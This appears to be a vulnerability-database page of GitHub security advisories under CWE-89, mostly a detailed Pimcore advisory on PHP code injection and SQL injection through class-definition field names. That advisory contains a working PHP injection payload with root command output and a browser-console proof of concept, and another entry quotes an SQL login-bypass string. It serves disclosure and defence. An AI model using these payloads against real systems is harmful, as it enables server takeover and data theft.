Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

28428 vulnerabilities reference this CWE, most recent first.

GHSA-9X38-7P3M-G6XF

Vulnerability from github – Published: 2022-05-14 02:42 – Updated: 2025-04-11 03:40
VLAI
Details

Multiple SQL injection vulnerabilities in search.php in WSN Links 5.0.x before 5.0.81, 5.1.x before 5.1.51, and 6.0.x before 6.0.1 allow remote attackers to execute arbitrary SQL commands via the (1) namecondition or (2) namesearch parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-4006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-11-03T20:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in search.php in WSN Links 5.0.x before 5.0.81, 5.1.x before 5.1.51, and 6.0.x before 6.0.1 allow remote attackers to execute arbitrary SQL commands via the (1) namecondition or (2) namesearch parameter.",
  "id": "GHSA-9x38-7p3m-g6xf",
  "modified": "2025-04-11T03:40:49Z",
  "published": "2022-05-14T02:42:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4006"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/62939"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/fulldisclosure/2010-10/0512.html"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/15607"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/514585/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/44593"
    },
    {
      "type": "WEB",
      "url": "http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9X3J-FXM7-QH66

Vulnerability from github – Published: 2022-05-14 03:44 – Updated: 2022-05-14 03:44
VLAI
Details

SQL Injection exists in the JE PayperVideo 3.0.0 component for Joomla! via the usr_plan parameter in a view=myplans&task=myplans.usersubscriptions request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-02T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SQL Injection exists in the JE PayperVideo 3.0.0 component for Joomla! via the usr_plan parameter in a view=myplans\u0026task=myplans.usersubscriptions request.",
  "id": "GHSA-9x3j-fxm7-qh66",
  "modified": "2022-05-14T03:44:52Z",
  "published": "2022-05-14T03:44:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6578"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/43948"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X3J-JM5P-WW3P

Vulnerability from github – Published: 2022-07-14 00:00 – Updated: 2022-07-21 00:00
VLAI
Details

A vulnerability was found in KB Login Authentication Script 1.1 and classified as critical. Affected by this issue is some unknown functionality. The manipulation of the argument username/password with the input 'or''=' leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-20127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-13T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was found in KB Login Authentication Script 1.1 and classified as critical. Affected by this issue is some unknown functionality. The manipulation of the argument username/password with the input \u0027or\u0027\u0027=\u0027 leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-9x3j-jm5p-ww3p",
  "modified": "2022-07-21T00:00:34Z",
  "published": "2022-07-14T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20127"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.96620"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41167"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X44-4GXF-8C25

Vulnerability from github – Published: 2026-08-28 19:17 – Updated: 2026-08-28 19:17
VLAI
Summary
Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name
Details

Overview

A DataObject class-definition field name is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (protected $<fieldName>;). A user holding only the ordinary objects (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (ADD COLUMN/ADD INDEX), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the compositeIndices sink and left the field-name path untouched.

Impact

Any authenticated user with the objects permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission — can:

  1. Execute arbitrary PHP on the server (RCE). The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise.
  2. Execute arbitrary ALTER TABLE DDL (SQL injection) against the DataObject store/query tables (drop columns, add indexes, corrupt schema). Confidence (read with the Reproduction section). The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its __construct() executing a shell command — is runtime-confirmed in an isolated harness (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are reasoned from source but not yet run end-to-end on a live Pimcore: (a) the Studio import path (generateLayoutTreeFromArraysave) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (new, e.g. via DataObject::getById()) so __construct() fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as sink-confirmed + chain-reasoned, not as a fully-executed live exploit.

Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (S:C), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, AV:N/AC:L/PR:L/UI:R/S:C, 8.7); the result here is RCE rather than read-only SQLi, yielding 9.9 Critical. S:C is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as S:U lands at AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The severity floor is therefore High regardless of the scope interpretation.

Technical Details

Source → sink (RCE)

Pimcore generates a PHP class file for every DataObject class. The property block is built in lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:

php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\Data\ReverseObjectRelation && !$def instanceof ClassDefinition\Data\CalculatedValue) { $cd .= 'protected $'.$key.";\n"; // $key = field NAME, concatenated raw into PHP source } }

$key is the field name. The string is assembled into a class body in lib/DataObject/ClassBuilder/ClassBuilder.php:104-112 (class <Name> extends <...> {\n + properties), written to var/classes/DataObject/<Class>.php, and autoloaded/included. A field name such as:

poc; public function __construct(){ /* attacker PHP */ } private $z

produces a valid class body containing an attacker-defined __construct() that executes when an object of the class is loaded.

That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling enum-option generator, which does enforce one:

php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ }

The field-name path has no equivalent.

Parallel SQL-injection sink

The same field name is concatenated, with backtick string quoting (not quoteIdentifier), into DDL:

php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');');

Source: models/DataObject/ClassDefinition/Dao.php:228$this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL'), $key = field name. A backtick in the field name breaks out of the quoted identifier.

Contrast the patched composite-index sink, now guarded by an allowlist and quoteIdentifier (models/DataObject/Traits/CompositeIndexTrait.php).

Why validation does not stop it

The complete field-name validation across the import → save path:

  1. models/DataObject/ClassDefinition/Service.php:296 (generateLayoutTreeFromArray): preg_match('/<.+?>/', $name) — rejects only angle-bracket names. Backtick, ;, {}, (), quotes, spaces all pass.
    1. models/DataObject/ClassDefinition/Data.php:1292 (isForbiddenName()) — a reserved-word denylist (in_array(strtolower($name), FORBIDDEN_NAMES)), no character filtering.
    1. models/DataObject/ClassDefinition.php:1149 — validates the class name/id only. No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.

Reachability / privilege

The HTTP entry point (pimcore/studio-backend-bundle):

```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = '/class/definition/configuration-view/detail/{id}/import';

[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```

importClassDefinitionFromJsonClassDefinitionRepository::importFromJson → model save()saveClassInternal(), which runs the DDL (getDao()->save()) and then the PHP class generation (generateClassFilesInternal()). The endpoint requires only the objects permission (PR:L) and performs no field-name validation of its own. The single authorization gate is the route-level #[IsGranted('objects')]; a DataObject class definition is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — objects alone reaches the sink, which is what anchors PR:L. This is the same import endpoint used in the CVE-2026-5394 PoC.

Execution order

In saveClassInternal(): field denylist check → class-name regex → getDao()->save() (DDL sink fires) → generateClassFilesInternal() (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no ADD COLUMN) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.

Reproduction

Lab confirmation of the RCE sink (runtime, verified)

Using the unmodified FieldDefinitionPropertiesBuilder source driven by a minimal ClassDefinition whose single field name is a PHP payload (full harness in the attached rce_harness.php):

php $maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo();

Observed (php:8.3-cli):

text === generated properties block (real builder output) === protected $classId = "99"; protected $className = "PwnDemo"; protected $pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root)

The real builder emitted a class body containing the attacker's __construct(), and loading the class executed the injected command.

End-to-end PoC (browser console, against the Studio API)

```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.

const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";

const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';

const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };

const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");

fetch(/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ```

Steps:

  1. As a user with only the objects permission, create/own a throwaway DataObject class and note its id (CLASS_ID).
    1. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
    1. Load any object of that class (open it in Studio, or request it) to autoload the regenerated var/classes/DataObject/<Class>.php.
    1. Confirm /tmp/pimcore_rce_poc was created on the server — proving the field name executed as PHP.

Q0a / Q0b

  • Q0a (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (SelectOptionsEnumBuilder.php:188 /^[A-Z-a-z_][A-Za-z0-9_]*$/) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is Service.php:297 preg_match('/<.+?>/', $name) (angle-brackets only; ;{}(), spaces, backtick all pass), and FieldDefinitionPropertiesBuilder.php:30 concatenates the raw $key into protected $<name>;. No upstream allowlist gate exists. PASS.
  • Q0b (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject composite-index SQL injection), whose fix hardened only CompositeIndexTrait. The field-name → PHP-codegen RCE (FieldDefinitionPropertiesBuilder) and the field-name → ALTER TABLE DDL (Helper/Dao.php) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.
  • Secondary sink noted: Service.php:517 also concatenates the raw field name into a generated PHP string literal (public const FIELD_... = '<name>';) — a second codegen-injection point (string-literal breakout via '), same root cause; the allowlist fix closes both.

Suggested Fix

Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In models/DataObject/ClassDefinition/Data.php (e.g. in setName() or a central validity check invoked from saveClassInternal()), reject any name not matching /^[a-zA-Z][a-zA-Z0-9_]{0,62}$/:

php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); }

Additionally, defense-in-depth: use quoteIdentifier() for $colName/$indexName in models/DataObject/ClassDefinition/Helper/Dao.php, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.

Privilege-model fix (root cause, separate from the input filter). A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor objects permission. Gate class-definition import/save behind a dedicated administrative permission (or admin), distinct from objects.

Operator-side detection / mitigation (deployable today, before a patch):

  • Detection: File Integrity Monitoring on var/classes/DataObject/*.php — alert on unexpected changes, and specifically on the appearance of function/__construct( tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to .../class/definition/configuration-view/detail/*/import.
    • Interim mitigation: restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST .../class/definition/configuration-view/detail/*/import to trusted operators.

Additional codegen-injection sinks sharing this root cause

The same "unvalidated identifier → generated PHP" pattern exists at other identifier boundaries:

  • Class NAME → ClassBuilder.php:104: 'class '.ucfirst($classDefinition->getName()).' extends '.... The only gate is ClassDefinition.php:1149 preg_match('/^[a-zA-Z]\w+/', getName())missing the $ end-anchor, so Foo){};<php> passes the prefix match.
    • FieldCollection / ObjectBrick KEY → FieldCollectionClassBuilder.php:58 ('class '.ucfirst($definition->getKey()).' extends ') and the objectbrick equivalent — reached via their own import endpoints. Exploitability caveat: unlike the runtime-confirmed field-name vector, the class-name vector is NOT independently confirmed as RCE and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as fix-completeness / defense-in-depth (anchor the regex), not as a second confirmed RCE.

Disclosure Timeline

  • 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
    • (Reported to vendor: to be filled on submission via GitHub Security Advisory.)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:17:42Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nA DataObject **class-definition field name** is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (`protected $\u003cfieldName\u003e;`). A user holding only the ordinary `objects` (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (`ADD COLUMN`/`ADD INDEX`), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the `compositeIndices` sink and left the field-name path untouched.\n\n## Impact\n\nAny authenticated user with the `objects` permission \u2014 the standard permission for content editors who work with DataObjects, not an administrator or a dedicated \"classes\" permission \u2014 can:\n\n1. **Execute arbitrary PHP on the server (RCE).** The injected code runs in the web application\u0027s PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS \u2014 i.e. full server compromise.\n2. **Execute arbitrary ALTER TABLE DDL (SQL injection)** against the DataObject store/query tables (drop columns, add indexes, corrupt schema).\n**Confidence (read with the Reproduction section).** The RCE sink \u2014 the real builder emitting attacker PHP into the generated class body, that class loading, and its `__construct()` executing a shell command \u2014 is **runtime-confirmed in an isolated harness** (see Reproduction \u2192 \"Lab confirmation\"). The remaining links of the end-to-end chain are **reasoned from source but not yet run end-to-end on a live Pimcore**: (a) the Studio import path (`generateLayoutTreeFromArray` \u2192 `save`) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the \u226464-byte gadget); and (c) Pimcore instantiating the object (`new`, e.g. via `DataObject::getById()`) so `__construct()` fires \u2014 autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as **sink-confirmed + chain-reasoned**, not as a fully-executed live exploit.\n\nBecause the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system \u2014 beyond the authority of the Pimcore application account the attacker started from \u2014 the scope is assessed Changed (`S:C`), consistent with Pimcore\u0027s own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7); the result here is RCE rather than read-only SQLi, yielding **9.9 Critical**. `S:C` is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as `S:U` lands at `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The severity floor is therefore High regardless of the scope interpretation.\n\n## Technical Details\n\n### Source \u2192 sink (RCE)\n\nPimcore generates a PHP class file for every DataObject class. The property block is built in `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`:\n\n```php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition-\u003egetFieldDefinitions() as $key =\u003e $def) { if (!$def instanceof ClassDefinition\\Data\\ReverseObjectRelation \u0026\u0026 !$def instanceof ClassDefinition\\Data\\CalculatedValue) { $cd .= \u0027protected $\u0027.$key.\";\\n\";     // $key = field NAME, concatenated raw into PHP source } } ```\n\n`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class \u003cName\u003e extends \u003c...\u003e {\\n` + properties), written to `var/classes/DataObject/\u003cClass\u003e.php`, and autoloaded/included. A field name such as:\n\n``` poc; public function __construct(){ /* attacker PHP */ } private $z ```\n\nproduces a valid class body containing an attacker-defined `__construct()` that executes when an object of the class is loaded.\n\nThat the maintainers know name\u2192PHP-generation requires an identifier allowlist is shown by the sibling **enum-option** generator, which does enforce one:\n\n```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match(\u0027/^[A-Z-a-z_][A-Za-z0-9_]*$/\u0027, $selectOptionName)) { /* reject */ } ```\n\nThe field-name path has no equivalent.\n\n### Parallel SQL-injection sink\n\nThe same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:\n\n```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn \u2014 ADD COLUMN) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD COLUMN \u0027 . $colName . \u0027 \u0027 . $type . ...); // :52/:67 (addIndexToField \u2014 ADD INDEX \u003cprefix\u003e\u003cname\u003e (\u003cname\u003e)) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD \u0027 . $uniqueStr . \u0027INDEX \u0027 . $prefix . $indexName . \u0027 (\u0027 . $columnName . \u0027);\u0027); ```\n\nSource: `models/DataObject/ClassDefinition/Dao.php:228` \u2192 `$this-\u003eaddModifyColumn($objectDatastoreTable, $key, $value-\u003egetColumnType(), \u0027\u0027, \u0027NULL\u0027)`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier.\n\nContrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`).\n\n### Why validation does not stop it\n\nThe complete field-name validation across the import \u2192 save path:\n\n1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` \u2014 rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass.\n2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) \u2014 a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering.\n3. 3. `models/DataObject/ClassDefinition.php:1149` \u2014 validates the **class** name/id only.\nNo allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.\n\n### Reachability / privilege\n\nThe HTTP entry point (`pimcore/studio-backend-bundle`):\n\n```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = \u0027/class/definition/configuration-view/detail/{id}/import\u0027;\n\n#[Route(self::ROUTE, name: \u0027pimcore_studio_api_class_definition_import\u0027, methods: [\u0027POST\u0027])] #[IsGranted(UserPermissions::DATA_OBJECTS-\u003evalue)]      // UserPermissions::DATA_OBJECTS = \u0027objects\u0027 public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this-\u003ejsonResponse( $this-\u003eclassDefinitionService-\u003eimportClassDefinitionFromJson($id, $file-\u003egetContent()) ); } ```\n\n`importClassDefinitionFromJson` \u2192 `ClassDefinitionRepository::importFromJson` \u2192 model `save()` \u2192 `saveClassInternal()`, which runs the DDL (`getDao()-\u003esave()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted(\u0027objects\u0027)]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import \u2014 `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.\n\n### Execution order\n\nIn `saveClassInternal()`: field denylist check \u2192 class-name regex \u2192 `getDao()-\u003esave()` (DDL sink fires) \u2192 `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a \u226464-byte DDL-valid name so the DDL step does not abort before PHP generation.\n\n## Reproduction\n\n### Lab confirmation of the RCE sink (runtime, verified)\n\nUsing the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):\n\n```php $maliciousName = \u0027pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z\u0027; $cd = new ClassDefinition([$maliciousName =\u003e new \\stdClass()], \u0027PwnDemo\u0027, \u002799\u0027); $props = (new FieldDefinitionPropertiesBuilder())-\u003ebuildProperties($cd); file_put_contents(\u0027/tmp/PwnDemo.php\u0027, \"\u003c?php\\nclass PwnDemo {\\n\".$props.\"}\\n\"); require \u0027/tmp/PwnDemo.php\u0027; new \\PwnDemo(); ```\n\nObserved (`php:8.3-cli`):\n\n```text === generated properties block (real builder output) === protected $classId = \"99\"; protected $className = \"PwnDemo\"; protected $pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```\n\nThe real builder emitted a class body containing the attacker\u0027s `__construct()`, and loading the class executed the injected command.\n\n### End-to-end PoC (browser console, against the Studio API)\n\n```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary \"objects\" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.\n\nconst CLASS_ID = \"REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID\";\n\nconst fieldName = \u0027x;function __construct(){touch(\"/tmp/pimcore_rce_poc\");}//\u0027;\n\nconst def = { layoutDefinitions: { name: \"pimcore_root\", fieldtype: \"panel\", datatype: \"layout\", children: [ { name: fieldName, fieldtype: \"input\", datatype: \"data\", title: \"poc\" } ] } };\n\nconst fd = new FormData(); fd.append(\"file\", new Blob([JSON.stringify(def)], { type: \"application/json\" }), \"import.json\");\n\nfetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: \"POST\", credentials: \"include\", body: fd, }).then(r =\u003e r.json()).then(console.log); ```\n\nSteps:\n\n1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).\n2. 2. Open DevTools \u2192 Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).\n3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/\u003cClass\u003e.php`.\n4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server \u2014 proving the field name executed as PHP.\n## Q0a / Q0b\n\n- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one \u2014 the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $\u003cname\u003e;`. No upstream allowlist gate exists. PASS.\n- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** \u2192 PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name \u2192 ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.\n- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = \u0027\u003cname\u003e\u0027;`) \u2014 a second codegen-injection point (string-literal breakout via `\u0027`), same root cause; the allowlist fix closes both.\n## Suggested Fix\n\nApply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:\n\n```php // 63-char cap keeps the name within MySQL\u0027s 64-byte identifier limit (1 leading letter + \u226462). if (!preg_match(\u0027/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/\u0027, $name)) { throw new \\InvalidArgumentException(sprintf(\u0027Invalid field name: %s\u0027, $name)); } ```\n\nAdditionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.\n\n**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated 